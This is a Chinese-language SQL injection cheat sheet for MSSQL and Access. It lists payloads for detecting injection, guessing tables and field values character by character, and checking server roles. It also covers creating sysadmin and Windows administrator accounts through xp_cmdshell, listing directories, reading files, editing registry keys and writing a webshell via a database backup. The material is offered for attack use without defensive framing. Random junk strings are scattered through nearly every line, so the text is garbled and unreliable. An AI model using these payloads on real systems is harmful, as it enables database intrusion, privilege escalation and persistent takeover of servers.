1.判断是否有注入;and 1=1 ;and 1=2 4
+da
2.初步判断是否是mssql ;and user>0 O0K@M
M3ecIVm8(
3.注入参数是字符'and [查询条件] and ''=' C5:dO\?O
}Q{
=:X9
4.搜索时没过滤参数的'and [查询条件] and '%25'=' v`z=OHc
K B`1% =
5.判断数据库系统 V\iIvBpWg
?:#>^eWYe7
;and (select count(*) from sysobjects)>0 mssql $Nt=gSWw5
Q9Y9{T
;and (select count(*) from msysobjects)>0 access 8>% jZ%`a
d&[M8(
p%1xj2 ?nN
oW
yN:Qh
6.猜数据库 ;and (select Count(*) from [数据库名])>0 1+16i=BF)
P+*rWJ8gQ
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 bWX[<rh'
bMK#^ZoH
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 %S(#cf!HP
g6[/F-3Qlf
9.(1)猜字段的ascii值(access) Rk437vQD,
[T}%q"<
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 3]:p!Y`$
ijZydn
(2)猜字段的ascii值(mssql) Z3X&<Y5
brYYuN|Vc
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;EE&~&*w
6*(h9!_T1
10.测试权限结构(mssql) q/rHHuY}
V<~_OF
s0`|G|.}
aowPji$H
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- S2At$47v
f}9PEpa,Z
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- = h<? /Krs
LAK-!!0X
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- $8X tI
U'h[{ek
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- T
,O<LFv
7=QC+XSO
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- :C|>y4U&(s
{g!exbVf
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- [)J49
jnU*l\,
;and 1=(select IS_MEMBER('db_owner'));-- |`94W j<
r0?hX
oQ-|\?{;A
sS1J.R
11.添加mssql和系统的帐户 11@2 ;vw
?ck^? p7
;exec master.dbo.sp_addlogin username;-- [!dnm1
;exec master.dbo.sp_password null,username,password;-- Gwrx)Mq
PG v}fEH"
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ^7s6J{<
}eDX8b8emA
;exec master.dbo.xp_cmdshell 'net user username password Y;> p)'z
8@LykJbP
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Nz>E#.++
wsb=[$C
;exec master.dbo.xp_cmdshell 'net user username password /add';-- vRb(eg
IYM@(c@ld0
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Pdo5sve
-B3wRAEt
s=y9!rr
7AtXG^lK
12.(1)遍历目录 \")YKN=W
;5oH6{7_Z
;create table dirs(paths varchar(100), id int) WJFTy+bD
Bn#HJ17/#
;insert dirs exec master.dbo.xp_dirtree 'c:\' t1RwB23
Ng;b!S
;and (select top 1 paths from dirs)>0 "za*$DU
[vjkU7;7A
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 1:{O RX[;
Uwm[q+sTp
RJ@e5A6_
B=Jd%Av
(2)遍历目录 IrwF
B
3d)+44G_)
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 'xrbg]b%
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ]kplb0`
|z7Crz
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 u,SX`6%
7jg(j~tQ
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ;'18
(B/F6
X;o.
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ={i&F
(zLIv9$
qP^0($
g`8
mh&u%
13.mssql中的存储过程 J0WXH/:
?L#SnnE
xp_regenumvalues 注册表根键, 子键 kFa?q}47
x#gmliF
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 VU'l~%ql
S~(VcC$K
xp_regread 根键,子键,键值名 $Q$d\Yvi
Z-p^3t'{
;exec xp_regread fUWm7>6VA>
g$T_yT''
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 uy-Ncy
]jY)M<:J4
xp_regwrite 根键,子键, 值名, 值类型, 值 <sFf'W_3{
];}|h|q/{}
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 2u;fT{(
S+xGHi)
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 5sCky)N
L2O57rT2
xp_regdeletevalue 根键,子键,值名 >]|^Ux,WZ
wkpVX*DfRE
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 +bd{W]={
lRK?%~
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ,v5>sL
!skWe~/
?&nz
6)<o O(
14.mssql的backup创建webshell ;3}b&Z[N]
9/KQAc*
use model O
xaua
KQZ RzX>0
create table cmd(str image); &J@ZF<Ib
XUNgt(OGR'
insert into cmd(str) values (''); *ik)>c_
"lzg@=$|)
backup database model to disk='c:\l.asp'; ]Oh>ECA|D
(qONeLf%
"m)O13x
I}0-
15.mssql内置函数 Z:gsguX
s"F,=]HQ!G
;and (select @@version)>0 获得Windows的版本号 !m5\w>
|Qq'_4:
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2qR@:^
62'0 )Cy^
;and (select user_name())>0 爆当前系统的连接用户 }33Au-%*
2p.+C35c=j
;and (select db_name())>0 得到当前连接的数据库 (P]^5D
1L9
<1
ATewdq[C
1fp&"K:yR
16.简洁的webshell 4[j) $!l`
g+{MvSj$
use model Dp'af4+%$
>%A=b}VS
create table cmd(str image); 2uB26SEIl
B|w}z1.
insert into cmd(str) values (''); *g.,[a0
`u)V9{
backup database model to disk='g:\wwwtest\l.asp';